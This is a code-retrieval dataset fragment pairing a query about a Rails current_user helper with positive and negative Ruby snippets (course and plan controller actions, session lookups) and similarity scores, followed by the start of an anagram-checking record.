"def create\n # @course = Course.new(course_params)\n\n CourseBuilder.build do |builder|\n builder.set_code(course_params['code'])\n builder.set_title(course_params['title'])\n builder.set_instructor(course_params['instructor'])\n builder.set_semester(course_params['semester'])\n builder.set_credit(course_params['credit'])\n builder.set_room(course_params['room'])\n builder.set_evaluation(course_params['midterm'], course_params['final'], course_params['assignment'], course_params['project'])\n\n @course = builder.course\n end\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to courses_url, notice: 'Course was successfully created.' }\n format.json { render :index, status: :created, location: @course }\n else\n format.html { render :new }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\t\t@common_types = @@common_types\n\t\t\n\t\t# Create the course\n\t\t@course = Course.new(params[:course])\n\t\t\n\t\t# Move the professor into the professors table.\n\t\tprofessor_name = params[:professor]\n\t\tprof = Professor.find_by_name(professor_name)\n\t\t\n\t\tif not prof\n\t\t\tprof = Professor.create(name:professor_name)\n\t\tend\n\t\t\n\t\t@course.professor = prof\n\t\t\n\t\t# Move the school into the schools table.\n\t\tschool_name = params[:school]\n\t\tsch = School.find_by_name(school_name)\n\t\t\n\t\tif not sch\n\t\t\tsch = School.create(name:school_name)\n\t\tend\n\n\t\t@course.school = sch\n\n\n\t\trespond_to do |format|\n\t\t\t# Save the course\n\t\t\tif not @course.save\n\t\t\t\tformat.html { render action: \"new\" }\n\t\t\t\tformat.json { render json: @course.errors, status: :unprocessable_entity }\n\t\t\tend\t\n\n\t\t\t# Create grade scale\n\t\t\tgs = GradeScale.new(course_id: @course.id)\n\t\t\tgs.save!\n\t\t\t\n\n\t\t\t10.times do |type|\n\t\t\t\t# Grab the hash from the params\n\t\t\t\thash = params[type.to_s]\n\t\t\t\tname = hash[:name].titleize\n\n\t\t\t\tif name != \"\"\n\t\t\t\t\t# Create the assignment type\n\t\t\t\t\tat = AssignmentType.create(\n\t\t\t\t\t\t\t name: name.pluralize,\n\t\t\t\t\t\t\tworth: hash[:total].to_f,\n\t\t\t\t\t\tcourse_id: @course.id\n\t\t\t\t\t\t)\n\n\t\t\t\t\tat.save!\n\n\t\t\t\t\t# Create the assignments\n\t\t\t\t\tnumberOfAssignments = hash[:number].to_f\n\t\t\t\t\t(1..numberOfAssignments).each do |i|\n\t\t\t\t\t\ta = Assignment.new()\n\t\t\t\t\t\ta.name = \"#{name.singularize} #{i}\"\n\t\t\t\t\t\ta.worth = hash[:worth].to_f\n\t\t\t\t\t\ta.assignment_type = at\n\t\t\t\t\t\ta.save!\n\t\t\t\t\tend #assignments\n\t\t\t\tend #if active\n\t\t\tend #assignment types\n\t\t\t\n\t\t\t# Have the user join the course\n\t\t\taccess = Access.new()\n\t\t\taccess.role = Role.find_by_name(\"Student\")\n\t\t\taccess.course = @course\n\t\t\taccess.user = @current_user\n\t\t\taccess.save\n\n\t\t\tLogsController.addCourse(@current_user, @course)\n\n\t\t\tformat.html { redirect_to @course, notice: 'Course was successfully created.' }\n\t\t\tformat.json { render json: @course, status: :created, location: @course }\n\t\tend\n\tend",
"def run\n return invalid_course unless teacher_valid? && course_params\n\n TeacherCourse.create(teacher: teacher, course: course) if course.valid?\n\n course\n end",
"def new\n @account = Account.new\n @account.memberships.build.build_user\n @plans = Plan.all\n end",
"def assign_plan\n self.plan_id = Plan.find_by_name('Free').id\n end",
"def set_course\n self.course ||= video.lesson_plan_item.course if video\n end",
"def set_course\n self.course ||= video.lesson_plan_item.course if video\n end",
"def create\n @plan = Plan.new(plan_params)\n @plan.user_id = current_user.id\n respond_to do |format|\n if @plan.save\n format.html { redirect_to @plan, notice: 'Plan was successfully created.' }\n format.json { render :show, status: :created, location: @plan }\n else\n format.html { render :new }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n super\n @instructor.create_profile(profile_params)\n\n @instructor.update_attributes(\n plan_id: @instructor.id,\n product_id: @instructor.id\n )\n end",
"def academic_plan\n ::HubEdos::StudentApi::V2::AcademicPolicy::AcademicPlan.new(@data['academicPlan']) if @data['academicPlan']\n end",
"def create\n @last_offering = Course.last_offering(params[:course][:number])\n @course = @last_offering.copy_as_new_course\n\n @course.year = params[:course][:year]\n @course.semester = params[:course][:semester]\n respond_to do |format|\n @course.updated_by_user_id = current_user.id if current_user\n if @course.save\n\n flash[:notice] = 'Course was successfully created.'\n format.html { redirect_to edit_course_path(@course) }\n format.xml { render :xml => @course, :status => :created, :location => @course }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @course.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def instanciate(plan, variables = {})\n raise NotImplementedError, \"must reimplement #instanciate in the task objects used in coordination primitives\"\n end",
"def create\n @course = Course.new(params[:course])\n @course.user = current_user\n @tab = 1\n\n respond_to do |format|\n if @course.save\n format.html { flash[:notice] = 'Course was successfully created.'\n render :edit_course}\n format.json { render json: @course, status: :created, location: @course }\n else\n format.html { render action: \"new\" }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @course = Course.new(course_params)\n @course.description = \"Curriculum Description\"\n @course.short_description = \"Marketing Description\"\n authorize @course\n @course.user=current_user\n respond_to do |format|\n if @course.save\n format.html { redirect_to course_course_wizard_index_path(@course), notice: \"Course was successfully created.\" }\n format.json { render :show, status: :created, location: @course }\n else\n @tags = Tag.all\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def plans\r\n @plans ||= PlansController.new(configuration: @configuration)\r\n end",
"def create\n c_user = current_user()\n return ( render status: 401, json: { result: \"Not Authorized\" } ) unless logged_in? # Ensure the user is logged in\n\n # Privledged user case\n if c_user.role == Role.admin or c_user.role == Role.moderator\n course = Course.new(course_params.merge(user_id: c_user.id))\n status = course.save\n if status\n render status: 200, json: { result: course }\n else\n render status: 400, json: { result: course.errors }\n end\n\n # Non-priledged user case\n else\n # Ensure the data doesn't change visiblity (Standard user cannot publish)\n if course_params[:visibility].to_i == Visibility.draft\n course = Course.new(course_params.merge(user_id: c_user.id))\n status = course.save\n if status\n render status: 200, json: { result: course }\n else\n render status: 400, json: { result: course.errors }\n end\n\n else \n render status: 400, json: { result: \"Bad Request\" } \n end\n end\n end",
"def create\n @course = Course.new(new_course_params)\n\n if @course.save\n redirect_to stafftools_course_path(@course)\n else\n render :new\n end\n end",
"def create_master_schedule()\n # creating course offerings does not require any randomization --> only logic\n # -> computes intersection of courses to be offered at school with school's sessions\n offering_id = 0\n offering_id = create_course_offerings_for_school(\"elementary\", offering_id)\n offering_id = create_course_offerings_for_school(\"middle\", offering_id)\n offering_id = create_course_offerings_for_school(\"high\", offering_id)\n end",
"def new\n @course=Course.new\n end",
"def new\n @course=Course.new\n end",
"def create\n @course = current_teacher.courses.new(course_params)\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to @course, notice: 'Course was successfully created.' }\n format.json { render :show, status: :created, location: @course }\n else\n format.html { render :new }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @course = current_teacher.courses.new(course_params)\n\n respond_to do |format|\n if @course.save\n format.html { redirect_to courses_url, notice: 'Course was successfully created.' }\n format.json { render :show, status: :created, location: @course }\n else\n format.html { render :new }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n \t@course=Course.new\n @batch=Batch.new\n @course.batches.build\n \n end",
"def create\n @course= Course.new(course_params)\n @course.owner_id=current_user.id\n respond_to do |format|\n if @course.save\n format.html { redirect_to @course, notice: 'Create course was successfully created.' }\n format.json { render :show, status: :created, location: @course }\n else\n format.html { render :new }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @plan = Plan.new(plan_params)\n\n respond_to do |format|\n if @plan.save\n format.html { redirect_to @plan, notice: 'Plan was successfully created.' }\n format.json { render :show, status: :created, location: @plan }\n else\n format.html { render :new }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @plan = Plan.new(plan_params)\n\n respond_to do |format|\n if @plan.save\n format.html { redirect_to @plan, notice: 'Plan was successfully created.' }\n format.json { render :show, status: :created, location: @plan }\n else\n format.html { render :new }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n add_crumb(\"Member Courses\") { |instance| instance.send :member_member_courses_path }\n @member = Member.find(params[:member_id])\n @member_course = @member.member_courses.build(params[:member_course])\n\n respond_to do |format|\n if @member_course.save\n flash[:notice] = 'MemberCourse was successfully created.'\n format.html { redirect_to(member_member_courses_path(@member.id))}\n format.xml { render :xml => @member_course, :status => :created, :location => @member_course }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @member_course.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def purchase(plan)\n # the purchased plan is going to expire depending on the plan specifications\n # so for example:\n # DateTime.now => Thu, 12 Mar 2015 21:17:33 -0500\n # plan => {\n # :currency => \"COP\",\n # :deleted_at => nil,\n # :description => \"15% de ahorro\",\n # :expired_rate => 1,\n # :expired_time => \"month\",\n # :name => \"Hurry Up!\",\n # :num_of_discounts => 15,\n # :price => 127500,\n # :status => true\n # }\n # the purchased_plan.expired_date = Thu, 12 Apr 2015 21:17:33 -0500\n # 1 month after today\n ClientsPlan.new(\n plan_id: plan.id,\n client_id: id, # self.id\n expired_date: Time.zone.now + plan.expired_rate.send(plan.expired_time),\n num_of_discounts_left: plan.num_of_discounts\n ).tap do |clients_plan|\n yield clients_plan if block_given?\n clients_plan.save\n end\n end",
"def new\n c_user = current_user()\n return ( render status: 401, json: { result: \"Not Authorized\" } ) unless logged_in? # Ensure the user is logged in\n course = Course.new(user_id: c_user.id)\n\n schema = {\n title: :text,\n description: :textarea,\n tier: Tier.schema,\n visibility: Visibility.schema\n }\n\n unless c_user.role == Role.admin or c_user.role == Role.moderator\n schema[:visibility].delete(:published)\n schema[:visibility].delete(:reviewing)\n end\n\n render status: 200, json: { result: course, schema: schema }\n end",
"def create\n @plan = Plan.new(plan_params)\n @plan.user = current_user\n respond_to do |format|\n if @plan.save\n format.html { redirect_to profile_path, notice: 'Plan was successfully created.' }\n format.json { render :show, status: :created, location: @plan }\n else\n format.html { render :new }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @course = Course.new(params[:course])\n @course.publisher = current_user\n respond_to do |format|\n if @course.save\n format.html { redirect_to new_course_lesson_path(@course), :notice => 'Course was successfully created.' }\n format.json { render :json => @course, :status => :created, :location => @course }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @course.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @plan = Plan.new(params[:plan])\n respond_to do |format|\n if @plan.save\n format.html { redirect_to @plan, notice: 'Plan was successfully created.' }\n format.json { render json: @plan, status: :created, location: @plan }\n else\n format.html { render action: \"new\" }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def prepare_plan(options)\n options = validate_options options,\n missions: 0, add: 0, discover: 0, tasks: 0,\n permanent: 0,\n model: Roby::Task, plan: plan\n\n missions, permanent, added, tasks = [], [], [], []\n (1..options[:missions]).each do |i|\n options[:plan].add_mission_task(t = options[:model].new(id: \"mission-#{i}\"))\n missions << t\n end\n (1..options[:permanent]).each do |i|\n options[:plan].add_permanent_task(t = options[:model].new(id: \"perm-#{i}\"))\n permanent << t\n end\n (1..(options[:discover] + options[:add])).each do |i|\n options[:plan].add(t = options[:model].new(id: \"discover-#{i}\"))\n added << t\n end\n (1..options[:tasks]).each do |i|\n tasks << options[:model].new(id: \"task-#{i}\")\n end\n\n result = []\n [missions, permanent, added, tasks].each do |set|\n unless set.empty?\n result << set\n end\n end\n\n result = result.map do |set|\n if set.size == 1 then set.first\n else\n set\n end\n end\n\n if result.size == 1\n return result.first\n end\n\n result\n end",
"def create_plan_change_helper(user, plan, initial_status, final_status, comment = nil)\r\n #MES- Record a PlanChange object\r\n pc = PlanChange.new\r\n #MGS- set the comment on the plan change, unless the comment is blank\r\n pc.comment = comment unless comment.blank?\r\n pc.rsvp_changed(user, initial_status, final_status)\r\n pc.save\r\n plan.plan_changes << pc\r\n return pc\r\n end",
"def create\n @plan = Plan.new(plan_params)\n\n if @plan.save\n render json: @plan, status: :created, location: @plan\n else\n render json: @plan.errors, status: :unprocessable_entity\n end\n end",
"def create\n @titre = \"Creating a course\"\n if params[:formation_id]\n @formation = Formation.find(params[:formation_id])\n @course = @formation.courses.create(course_params)\n else\n @course = Course.new(course_params)\n end\n if @course.save\n redirect_to edit_course_path(@course)\n else\n render 'new'\n end\n end",
"def create\n course = Course.new(course_params)\n\n if course.save\n render json: course, status: :created\n else\n render json: course.errors, status: :unprocessable_entity\n end\n end",
"def create\n \n @course = current_user.courses.build(course_params)\n respond_to do |format|\n if @course.save\n format.html { redirect_to @course, notice: \"Course was successfully created.\" }\n format.json { render :show, status: :created, location: @course }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @plan = Plan.new(plan_params)\n @case = @plan.case\n respond_to do |format|\n if @plan.save\n set_link_to_appointment(@plan)\n format.html { redirect_to back_index_case_url, notice: 'Plan was successfully created.' }\n format.json { render :show, status: :created, location: @plan }\n else\n format.html { render :new }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_new_plans\n plan_ids = Plan.all.map(&:plan_id)\n cb_plans.reject { |cb_plan| plan_ids.include?(cb_plan.id) }\n .each { |new_plan| puts \"Creating Plan - #{new_plan.id}\"; Plan.create(plan_params(new_plan)) }\n end",
"def create\n @course = Course.new(course_params)\n\n if @course.save\n flash[:success] = \"Curso criado com sucesso\"\n redirect_to courses_path\n else\n flash[:error] = \"Não foi possível criar o curso\"\n redirect_to courses_path\n end\n end",
"def prepare_plan(options)\n\t options = validate_options options,\n\t\tmissions: 0, add: 0, discover: 0, tasks: 0,\n\t\tpermanent: 0,\n\t\tmodel: Roby::Task, plan: plan\n\n\t missions, permanent, added, tasks = [], [], [], []\n\t (1..options[:missions]).each do |i|\n\t\toptions[:plan].add_mission_task(t = options[:model].new(id: \"mission-#{i}\"))\n\t\tmissions << t\n\t end\n\t (1..options[:permanent]).each do |i|\n\t\toptions[:plan].add_permanent_task(t = options[:model].new(id: \"perm-#{i}\"))\n\t\tpermanent << t\n\t end\n\t (1..(options[:discover] + options[:add])).each do |i|\n\t\toptions[:plan].add(t = options[:model].new(id: \"discover-#{i}\"))\n\t\tadded << t\n\t end\n\t (1..options[:tasks]).each do |i|\n\t\ttasks << options[:model].new(id: \"task-#{i}\")\n\t end\n\n\t result = []\n\t [missions, permanent, added, tasks].each do |set|\n\t\tunless set.empty?\n\t\t result << set\n\t\tend\n\t end\n\n result = result.map do |set|\n if set.size == 1 then set.first\n else set\n end\n end\n\n if result.size == 1\n return result.first\n end\n return *result\n\tend",
"def test_add_plan\n upload_catalog('Catalog-v1.xml', false, @user, @options)\n\n # basic-monthly has no trial period\n bp = create_basic_entitlement(1, 'MONTHLY', '2013-08-01', '2013-09-01', 1000.0)\n\n # Move clock to 2013-09-01\n add_days_and_check_invoice_item(31, 2, 'basic-monthly', '2013-09-01', '2013-10-01', 1000.0)\n\n # Effective date of the second catalog is 2013-10-01\n upload_catalog('Catalog-v3.xml', false, @user, @options)\n\n # Move clock to 2013-10-01\n # Original subscription is grandfathered (no effectiveDateForExistingSubscriptions specified)\n add_days_and_check_invoice_item(30, 3, 'basic-monthly', '2013-10-01', '2013-11-01', 1000.0)\n\n # The annual plan is only present in the v3 catalog\n create_basic_entitlement(4, 'ANNUAL', '2013-10-01', nil, 0)\n\n # Move clock to 2013-10-31 (BCD = 1)\n add_days_and_check_invoice_item(30, 5, 'basic-annual', '2013-10-31', '2014-10-01', 12_849.32)\n\n # Move clock to 2013-11-01\n # Verify original subscription is still grandfathered\n add_days_and_check_invoice_item(1, 6, 'basic-monthly', '2013-11-01', '2013-12-01', 1000.0)\n\n # Verify we can change to the new plan\n change_base_entitlement(bp, 7, 'Basic', 'ANNUAL', '2013-08-01', '2013-11-01', '2014-11-01', 14_000, 13_000)\n end",
"def create\n plan = Plan.new\n authorize plan\n\n # If the template_id is blank then we need to look up the available templates and\n # return JSON\n if plan_params[:template_id].blank?\n # Something went wrong there should always be a template id\n respond_to do |format|\n flash[:alert] = _('Unable to identify a suitable template for your plan.')\n format.html { redirect_to new_plan_path }\n end\n else\n\n puts plan_params.inspect\n\n @plan = create_plan(plan: plan, params: plan_params)\n\n if @plan.is_a?(Plan)\n default = Template.default\n\n msg = \"#{success_message(@plan, _('created'))}<br />\"\n\n if !default.nil? && default == @plan.template\n # We used the generic/default template\n msg += \" #{_('This plan is based on the default template.')}\"\n\n elsif !@plan.template.customization_of.nil?\n # We used a customized version of the the funder template\n # rubocop:disable Layout/LineLength\n msg += \" #{_('This plan is based on the')} #{@plan.funder&.name}: '#{@plan.template.title}' #{_('template with customisations by the')} #{@plan.template.org.name}\"\n # rubocop:enable Layout/LineLength\n else\n # We used the specified org's or funder's template\n msg += \" #{_('This plan is based on the')} #{@plan.template.org.name}: '#{@plan.template.title}' template.\"\n end\n\n respond_to do |format|\n flash[:notice] = msg\n format.html { redirect_to plan_path(@plan) }\n end\n else\n # Something went wrong so report the issue to the user\n respond_to do |format|\n flash[:alert] = failure_message(plan, _('create'))\n format.html { redirect_to new_plan_path }\n end\n end\n end\n end",
"def create\n begin\n # Must be POST request to create course\n return unless request.post?\n\n # Receives parameters from the course creation page\n course_name = get_param(:name)\n course_credits = get_param(:credits, false)\n course_teaching_unit = get_param(:teaching_unit)\n corse_expected_time = get_param(:expected_time)\n\n course_name = course_name.strip\n\n # Retrieves current user and checks if it is a supervisor\n user = get_logged_user()\n\n if !user\n @status_code = 401\n raise 'Not logged in'\n end\n if !user.is? \"supervisor\"\n @status_code = 403\n raise 'User cannot create course'\n end\n\n # Create a course\n course = Course.new({\n :name => course_name,\n :credits => course_credits,\n :teaching_unit => course_teaching_unit,\n :expected_time => course_expected_time\n })\n\n base_group = Group.create!({\n :name => \"Grade\",\n :min_credits => nil,\n :min_subjects => nil\n })\n\n course.group = base_group\n\n if !course.valid?\n @status_code = 400\n base_group.destroy\n raise 'Invalid course data'\n end\n\n # Save new course\n course.save\n rescue Exception => e\n @status_code = 500 if !@status_code\n @response[:status] = 'error'\n @response[:error] = \"#{e}\"\n else\n @status_code = 201\n @response[:status] = 'success'\n end\n\n render :json => @response, :status => @status_code\n end",
"def plan\n unless planned?\n @plan_id = Gremlin.world.plan(template.to_class, args).id if validated\n self.save\n end\n end",
"def create\n @lesson_plan = LessonPlan.new(lesson_plan_params)\n\n respond_to do |format|\n if @lesson_plan.save\n format.html { redirect_to @lesson_plan, notice: 'Lesson plan was successfully created.' }\n format.json { render action: 'show', status: :created, location: @lesson_plan }\n else\n format.html { render action: 'new' }\n format.json { render json: @lesson_plan.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.7099112",
"0.6871856",
"0.6776368",
"0.6689112",
"0.66603893",
"0.664613",
"0.6638801",
"0.66221654",
"0.6507207",
"0.6475637",
"0.6458986",
"0.64198494",
"0.6397307",
"0.63888514",
"0.6360201",
"0.6333031",
"0.62535614",
"0.62380975",
"0.62363654",
"0.6230729",
"0.62042576",
"0.62015575",
"0.6183949",
"0.6182575",
"0.6168058",
"0.6151972",
"0.6151972",
"0.6151972",
"0.6151882",
"0.6149214",
"0.6138958",
"0.6116611",
"0.61062014",
"0.6097501",
"0.60805863",
"0.60746795",
"0.6073952",
"0.60698336",
"0.60685253",
"0.60637945",
"0.60582304",
"0.60571826",
"0.604115",
"0.6028009",
"0.6018551",
"0.60166955",
"0.6006769",
"0.6003369",
"0.60022",
"0.60003924",
"0.59889174",
"0.5982717",
"0.5982717",
"0.59568346",
"0.5948378",
"0.59337837",
"0.593286",
"0.5927527",
"0.5909927",
"0.5909927",
"0.5900639",
"0.5899374",
"0.5870806",
"0.58514047",
"0.58492196",
"0.58387613",
"0.5831642",
"0.5828451",
"0.58217704",
"0.5821647",
"0.58185923",
"0.5815757",
"0.5815757",
"0.58143854",
"0.5813879",
"0.58023137",
"0.579949",
"0.5793348",
"0.5793348",
"0.57916975",
"0.5791409",
"0.57724106",
"0.57720584",
"0.57715154",
"0.5764143",
"0.5762222",
"0.576139",
"0.5760236",
"0.5756575",
"0.5749006",
"0.5748917",
"0.5744609",
"0.57375646",
"0.5724649",
"0.57241833",
"0.57175004",
"0.57157564",
"0.5696116",
"0.5679189",
"0.5671545"
] |
0.6861223
|
2
|
this gives access to whole current_user method, not just the instance variable at the end
|
def current_user
@current_user ||= User.find_by(session_token: session[:session_token])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def user_method\n current_user\n end",
"def current_user_method=(null) ; end",
"def current_user\n # super: don't change anything, i just want the exact same behavior \n # as in the method that we are overriding\n\n # what this line means is that if the user is logged in, super is true,\n # then call super treat everything normal, and ignore right hand side\n # if super == false, call right hand side\n\n # super comes from devise class\n # meanwhile the r.h.s comes from open struct class\n super || guest_user\n end",
"def current_user\n raise NotImplementedError\n end",
"def current_user\n raise NotImplementedError\n end",
"def method_missing(method_name, *args, &block)\n if @current_user.respond_to?(method_name)\n @current_user.send(method_name, *args, &block)\n else\n super\n end\n end",
"def current_user\n \tsuper || guest_user\n \t#Super quiere decir que exactamente con los valores \n \t#del metodo original sin cambiar nada\n end",
"def current_user_method\n send blog_dashboard_conf.current_user_method\n end",
"def current_user(user)\n @current_user = user\n end",
"def current_user_method(&block)\n @current_user = block if block\n @current_user || DEFAULT_CURRENT_USER\n end",
"def current_user\n ActiveRecord::Base.current_user_proc.call if ActiveRecord::Base.current_user_proc\n end",
"def current_user\n @current_user\n end",
"def current_user\n @current_user\n end",
"def current_user\n @current_user\n end",
"def current_user\n @current_user\n end",
"def current_user\n\t\tview_context.current_user\n\tend",
"def current_user\n self.class.current_user\n end",
"def current_user\n @user\n end",
"def current_user\n current_usuario\n end",
"def current_user\n @current_user\n end",
"def current_user\n @current_user\n end",
"def current_user\n\t\tauthenticated(User)\n\tend",
"def current_user\n user.user\n end",
"def current_user\n User.current\n end",
"def current_user\n ActiveRecord::Base.current_user_proc.call if ActiveRecord::Base.current_user_proc\n end",
"def current_user\n @current_user\n end",
"def get_user\n @current_user = current_user\n end",
"def get_user\n @current_user = current_user\n end",
"def get_user\n @current_user = current_user\n end",
"def get_user\n @current_user = current_user\n end",
"def get_user\n @current_user = current_user\n end",
"def get_user\n @current_user = current_user\n end",
"def get_user\n @current_user = current_user\n end",
"def get_user\n @current_user = current_user\n end",
"def current_user\n @current_user if logged_in?\n end",
"def current_user\n @current_user if logged_in?\n end",
"def context; { user: current_user } end",
"def current_user\n @authenticated_user\n end",
"def current_user\n @authenticated_user\n end",
"def current_user\n self.class.current_user\n end",
"def current_user #used in many methods to pull in the current user stored in sessions. \n \tUser.find(session[:user_id]) if session[:user_id]\n end",
"def current_user\n @current_user\n end",
"def current_user\n current_account.user\n end",
"def current_user\n current_account\n end",
"def get_user\n @current_user = current_user\n end",
"def me\n context[:current_user]\n end",
"def current_user\n @current_user ||= context[:current_user]\n end",
"def current_user\n get_from_options_or_controller(:current_user)\n end",
"def current\n respond_with current_user\n end",
"def get_current_user\n @current_user = current_or_guest_user\n end",
"def current_user\n @current_user ||= find_logged_in_user\n end",
"def current_user\n # authorization initialization if not run yet\n # (in the case of paper_trial it might not have run)\n authorization_init\n @logged_in_user\n end",
"def authz_user\n send(Authz.current_user_method)\n end",
"def current_user\n @current_user ||=\n if security.current_user? || !defined? super\n instance_exec(&security.current_user)\n else\n Logger.deprecated 'Wallaby will use `wallaby_user` instead of `current_user` from 6.2.'\n super\n end\n end",
"def current_user\n @_decorated_current_user ||= super&.decorate\n end",
"def current_user\n @current_user ||= auth_user\n end",
"def effective_user\r\n self.current_proxy || self.current_user\r\n end",
"def current_user\n @current_user ||= get(User)\n end",
"def get_user\n @user = current_user\n end",
"def current_user\n User.first\n end",
"def current_user\n User.first\n end",
"def current_user\n User.first\n end",
"def user; end",
"def user; end",
"def current_user\n authentication.account\n end",
"def current_user\n super || guest_user\n # super = dont change anything, I want the same feature of the method we are overriding\n end",
"def current_user\n UserDecorator.decorate(super) unless super.nil?\n end",
"def current_user\n UserDecorator.decorate(super) unless super.nil?\n end",
"def current_user\n User.find(current_user_id)\n end",
"def method_missing(meth, *args, &block)\n return unless _user\n _user.send(meth, *args, &block)\n end",
"def current_user\n @feat.user\n end",
"def current_user\n return @current_user\n end",
"def current_user\n return @current_user if @current_user\n \n @current_user = super.decorate if super\n @current_user\n end",
"def current_user\n\t\t@current_user ||= authorize_request\n\tend",
"def call \n user\n end",
"def acting_user\n current_user\n end",
"def current_user\n @usys_logged_in_user ||= lookup_user\n end",
"def get_user\n @current_user = current_admin || current_user\n end",
"def current_user\n nil\n end",
"def current_user\n current_customer\n end",
"def current_user\n \treturn @current_user if defined? @current_user\n \t@current_user = User.first\n end",
"def me\n @user = current_user\n end",
"def current_user\n current_session.user\n end",
"def current_user\n appctrl_set_user()\n return @current_user\n end",
"def current_user\n session.user\n end",
"def current_user\n super\n if @current_user\n return @current_user\n end\n\n authenticate_user!\n @current_user\n end",
"def current_user\n nil\n end",
"def current_person\n current_user\n end",
"def operation_user\n current_user if respond_to?(:current_user)\n end",
"def current_user\r\n super || guest_user\r\n end",
"def current_user\n load_session\n @current_user\n end",
"def current_user\n @current_user ||= authorize_request\n end",
"def current_user\n @current_user ||= authorize_request\n end",
"def current_user\n #||= means that the operation on the right will be called only the first time, so after the variable has\n # a value it returns current_user without calling the operation on the right.\n #if session[:user_id] was created in the session controller CREATE action, we find the user by its id and\n # add it to the @current_user variable.\n @current_user ||= User.find(session[:user_id]) if session[:user_id]\n end",
"def current_user\n logger.debug 'ApplicationController:current_user'\n @current_user ||= super\n @current_user && @current_user.is_guest? ? nil : @current_user\n end",
"def current_user\n import_user\n end",
"def current_user\n #super the main class of devise current_user\n super || guest_user\n end",
"def parametrizr_user\n current_user\n end",
"def current_user\n session[:who_is_this]\n end",
"def current_user?\n \n end",
"def current_user\n current_admin\n end"
] |
[
"0.8299376",
"0.7794885",
"0.77624124",
"0.7723858",
"0.7723858",
"0.7689758",
"0.76258844",
"0.7620822",
"0.76131666",
"0.76031643",
"0.758844",
"0.75508606",
"0.75508606",
"0.75508606",
"0.75508606",
"0.7548721",
"0.7538826",
"0.7501709",
"0.7491304",
"0.74585354",
"0.74585354",
"0.744436",
"0.74316317",
"0.7425365",
"0.740552",
"0.7400145",
"0.7395421",
"0.7395421",
"0.7395421",
"0.7395421",
"0.7395421",
"0.7395421",
"0.7395421",
"0.7395421",
"0.7393712",
"0.7393712",
"0.7377917",
"0.7324346",
"0.7324346",
"0.7307147",
"0.73026514",
"0.72910726",
"0.7290584",
"0.7290534",
"0.7280935",
"0.72637945",
"0.72300255",
"0.7229199",
"0.72036165",
"0.7202717",
"0.71831584",
"0.7170953",
"0.71471006",
"0.7146121",
"0.71432716",
"0.7131033",
"0.7125009",
"0.7122807",
"0.71218276",
"0.71007574",
"0.71007574",
"0.71007574",
"0.70999354",
"0.70999354",
"0.70776427",
"0.7075703",
"0.7068514",
"0.7068514",
"0.7056027",
"0.70425314",
"0.70376396",
"0.7028517",
"0.70106846",
"0.70087427",
"0.7000606",
"0.69999075",
"0.6997068",
"0.69938785",
"0.6968845",
"0.69665015",
"0.6959572",
"0.6955575",
"0.69542104",
"0.69492406",
"0.69464153",
"0.69462734",
"0.6936876",
"0.69367933",
"0.69333416",
"0.692086",
"0.6905123",
"0.69049174",
"0.69049174",
"0.690486",
"0.69040346",
"0.690207",
"0.6896031",
"0.6894675",
"0.6893213",
"0.6892071",
"0.6884581"
] |
0.0
|
-1
|
Note: anagrams are case insensitive
|
def is_anagram(test, original)
test.downcase.chars.sort == original.downcase.chars.sort
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def anagrams(str1, str2)\n \nend",
"def anagrams?(s1, s2)\n return false if s1.downcase == s2.downcase\n \n a1 = s1.downcase.delete(' ').chars.sort\n a2 = s2.downcase.delete(' ').chars.sort\n\n a1 == a2\nend",
"def anagrams(word, words)\n words.select { |w| w.chars.sort == word.chars.sort }\nend",
"def anagrams(word, words)\n word = word.chars.sort\n words.select{|x| x.chars.sort == word}\nend",
"def anagrams(word, words)\n p words.select {|x| x.chars.sort == word.chars.sort }\nend",
"def are_anagrams?( s1, s2 )\r\n\ttransformS1 = s1.downcase.split('').sort.join('')\r\n\ttransformS2 = s2.downcase.split('').sort.join('')\r\n\treturn transformS1 == transformS2\r\nend",
"def combine_anagrams(words)\r\n words.group_by{|w| w.downcase.chars.sort.to_s}.values\r\nend",
"def anagrams?(word1, word2)\n\nend",
"def anagrams?(word1, word2)\n\nend",
"def combine_anagrams(words)\n\n\twords.group_by{|word| word.downcase.chars.sort}.values\n\t\nend",
"def anagrams(word)\n EpicAnagram.find_anagrams(word)\n end",
"def anagrams(string, array)\nend",
"def anagram(str)\n\n raise \"Require string input\" unless str.is_a?(String)\n\n anagrams = []\n\n dict = [\"RETOOL\", \"ROOTLE\", \"TOOLER\", \n \"PLAY\", \"VIKING\"]\n \n dict.each do |word|\n anagrams << word if word.split(\"\").sort == str.upcase.split(\"\").sort\n end\n\n return anagrams\n\n\n end",
"def anagrams_for(word, array)\n p array.select {|w| canonical(word) == canonical(w)}\nend",
"def combine_anagrams(words)\n words.group_by {|w| w.downcase.chars.sort {|a,b| a <=> b}.to_s}.values\nend",
